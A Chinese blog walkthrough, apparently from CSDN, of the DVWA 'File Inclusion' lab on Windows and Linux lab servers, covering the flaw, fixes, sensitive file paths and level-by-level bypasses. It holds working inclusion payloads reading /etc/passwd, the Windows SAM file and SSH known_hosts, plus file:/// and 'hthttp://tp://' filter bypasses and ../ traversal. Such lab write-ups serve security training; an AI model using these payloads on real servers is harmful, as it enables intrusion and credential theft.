Kali渗透测试之DVWA系列9——File Inclusion(文件包含)

目录

一、文件包含

二、实验环境

三、实验步骤

Windows

        安全等级:LOW

        安全等级:Medium

        安全等级:High

        安全等级:Impossible

Linux

安全等级:LOW

安全等级:Medium

安全等级:High


一、文件包含

1、文件包含原理

文件包含:开发人员将相同的函数写入单独的文件中,需要用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称为文件包含。

漏洞成因:开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。

2、文件包含函数

  • Require():找不到被包含文件,报错,并且停止运行脚本。
  • Include():找不到被包含文件,报错,但会继续运行脚本。
  • Require_once():与require类似,区别在于,当重复调用同一文件时,程序只调用一次。
  • Include_once():与include类似,区别在于,当重复调用同一文件时,程序只调用一次。

3、文件包含的特征

?page=

?file=

?home=

4、文件包含分类

  • 本地文件包含
  • 远程文件包含(即加载远程文件,在php.ini中开启allow_url_includeallow_url_fopen选项。开启后可以直接执行任意代码。)

5、目录遍历与文件包含的区别

目录遍历是可以读取web目录以外的其他目录,根源在于对路径访问权限设置不严格,针对于本系统;

文件包含是利用函数来包含web目录以外的文件,分为本地包含和远程包含;

6、利用

  1. 读取敏感文件
  2. 远程包含shell
  3. 图片上传并包含图片shenll
  4. 使用伪协议
  5. 包含日志文件GetShell
  6. 截断包含

7、修复方案

  1. 禁止远程文件包含 allow_url_include=off
  2. 配置 open_basedir=指定目录,限制访问区域。
  3. 过滤../等特殊符号
  4. 修改Apache日志文件的存放地址
  5. 开启魔术引号 magic_quotes_qpc=on
  6. 尽量不要使用动态变量调用文件,直接写要包含的文件。

8、常见敏感信息路径

Windows系统

  • C:\boot.ini                             //查看系统版本
  • C:\windows\system32\inetsrv\MetaBase.xml    //IIS配置文件
  • C:\windows\repair\sam         //存储Windows系统初次安装的密码
  • C:\ProgramFiles\mysql\my.ini           //MySQL配置 C:\ProgramFiles\mysql\data\mysql\user.MYD   //MySQL root密码
  • C:\windows\php.ini                         //php配置信息

Linux系统

  • /etc/passwd                               //账户信息
  • /etc/shadow                           //账户密码文件
  • /usr/local/app/apache2/conf/httpd.conf  //apache2默认配置文件
  • /usr/local/app/apache2/conf/extra/httpd-vhost.conf   //虚拟网站配置
  • /usr/local/app/php5/lib/php.ini             //php相关配置
  • /etc/httpd/conf/httpd.conf                //apache配置文件
  • /etc/my.conf                          //MySQL配置文件
  • /etc/resolv.conf                       //DNS客户机配置文件
  • /root/.ssh/know_hosts                  //访问计算机的公钥文件
  • /etc/network/interfaces                  //网卡配置文件

二、实验环境

1、DVWA服务器:Windows Server 2003,IP为192.168.247.129

2、DVWA服务器:Linux,IP为192.168.247.135

3、测试机:Windows(开启代理)

三、实验步骤

Windows

点击“File Inclusion”(文件包含),提示 allow_url_include 没有开启。

如果打开dvwa中的File Inclusion出现上图所示提示,The allow_url_include is not enabled,需在DVWA服务器上修改php-ini配置文件,开启本地包含,并重新启动phpstudy。具体操作如下图所示:

重启phpStudy后,在物理机上打开File Inclusion,可以正常使用。

通过对File Inclusion 的不同操作,我们可以得出下图所示结论

当我们输入http://192.168.247.129/dvwa/vulnerabilities/fi/?page=/etc/passwd,可以看到报错,显示没有这个文件,说明服务器系统不是Linux。从而暴露了服务器文件的绝对路径C:\phpStudy\PHPTutorial\WWW\dvwa\vulnerabitilies\fi\index.php

安全等级:LOW

源码分析

  • page参数没有进行任何过滤与检查
  • 点击单个文件名链接,服务器会包含相应的文件,将结果返回

        服务器包含文件时,不论文件后缀是否是php,都会尝试当做php文件执行。若文件内容为php,则正常执行并返回结果,反之,则会原封不动地打印文件内容。因此,文件包含漏洞常常会导致任意文件读取与任意命令执行。

1、漏洞利用——读取敏感文件

C:\boot.ini     查看系统版本

C:\windows\repair\sam

 

C:\phpStudy\PHPTutorial\WWW\1.txt

在dvwa服务器上的C:\phpStudy\PHPTutorial\WWW目录下新建1.txt,内容与当前目录下的phpinfo.php中的内容相同。

C:\phpStudy\PHPTutorial\WWW\phpinfo.php

  1. C:\phpStudy\PHPTutorial\WWW\dvwa\1.txt

C:\phpStudy\PHPTutorial\WWW\dvwa\php.ini     查看php配置文件

        证明服务器包含文件时,不论文件后缀是否是php,都会尝试当做php文件执行。若文件内容为php,则正常执行并返回结果,反之,则会原封不动地打印文件内容。 

远程文件包含

http://192.168.247.129/dvwa/vulnerabilities/fi/?page=http://192.168.247.129/1.txt

 当输入目标主机IP地址时,直接进入目标主机的www目录下。

安全等级:Medium

源码分析

本地包含

使用file:///方式绕过

http://192 .168.247.129/dvwa/vulnerabilities/fi/?page=file:///c:\boot.ini

 

远程包含

使用 “hthttp://tp://” 嵌套方式绕过

http://192.168.247.129/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.247.129/1.txt

安全等级:High

源码分析

使用fnmatch函数检查page参数,要求page参数必须以file开头,且不等于include.php;不能进行远程包含。

可以使用file:///方式绕过

http://192 .168.247.129/dvwa/vulnerabilities/fi/?page=file:/// C:\phpStudy\PHPTutorial\WWW\1.txt

安全等级:Impossible

源码分析(无法绕过)

使用了白名单机制,page参数必须为include.php、file1.php、file2.php、file3.php之一,彻底杜绝了文件包含漏洞。


Linux

安全等级:LOW

源码分析

page参数没有进行任何过滤与检查,直接在浏览器地址栏进行URL构造

本地包含

1、http://192 .168.247.135/dvwa/vulnerabilities/fi/?page=/etc/passwd(未报错,说明此系统为Linux系统)

 

2、查看DNS配置文件的内容

http://192 .168.247.135/dvwa/vulnerabilities/fi/?page=/etc/resolv.conf

  

3、http://192 .168.247.135/dvwa/vulnerabilities/fi/?page=/root/.ssh/known_hosts

4、查看网卡配置文件

http://192 .168.247.135/dvwa/vulnerabilities/fi/?page=/etc/network/interfaces

 

安全等级:Medium

源码分析

 

将“http://”, “https://” 替换为空;

本地包含 (不受影响)

 http://192 .168.247.135/dvwa/vulnerabilities/fi/?page=/etc/passwd

 http://192 .168.247.135/dvwa/vulnerabilities/fi/?page=../../../../../../../../../etc/passwd 

 http://192 .168.247.135/dvwa/vulnerabilities/fi/?page=file:///etc/passwd

 

远程包含

可以使用hthttp://tp://嵌套的方式绕过

安全等级:High(无法绕过)

源码分析

page参数只能是include.php,杜绝了文件包含漏洞。

 

 

 

 

 

  • 2
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值